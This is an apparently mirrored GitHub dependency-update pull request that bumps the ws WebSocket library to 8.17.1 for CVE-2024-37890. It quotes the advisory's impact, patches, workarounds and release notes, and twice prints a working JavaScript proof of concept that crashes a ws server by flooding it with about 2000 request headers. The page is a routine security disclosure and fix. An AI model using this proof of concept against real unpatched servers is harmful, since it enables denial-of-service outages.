ptarmiganlabs / ctrl-q

Command line tool for interacting with Qlik Sense Enterprise servers
MIT License
13 stars 2 forks source link

fix(deps): update dependency ws to v8.17.1 [security] - autoclosed #504

Closed renovate[bot] closed 4 days ago

renovate[bot] commented 5 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.17.0 -> 8.17.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws) ### [`v8.17.1`](https://redirect.github.com/websockets/ws/releases/tag/8.17.1) [Compare Source](https://redirect.github.com/websockets/ws/compare/8.17.0...8.17.1) ### Bug fixes - Fixed a DoS vulnerability ([#​2231](https://redirect.github.com/websockets/ws/issues/2231)). A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount] threshold could be used to crash a ws server. ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` The vulnerability was reported by [Ryan LaPointe](https://redirect.github.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://redirect.github.com/websockets/ws/issues/2230). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.



This PR was generated by Mend Renovate. View the repository job log.

sonarcloud[bot] commented 5 months ago

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
No data about Coverage
0.0% Duplication on New Code

See analysis details on SonarCloud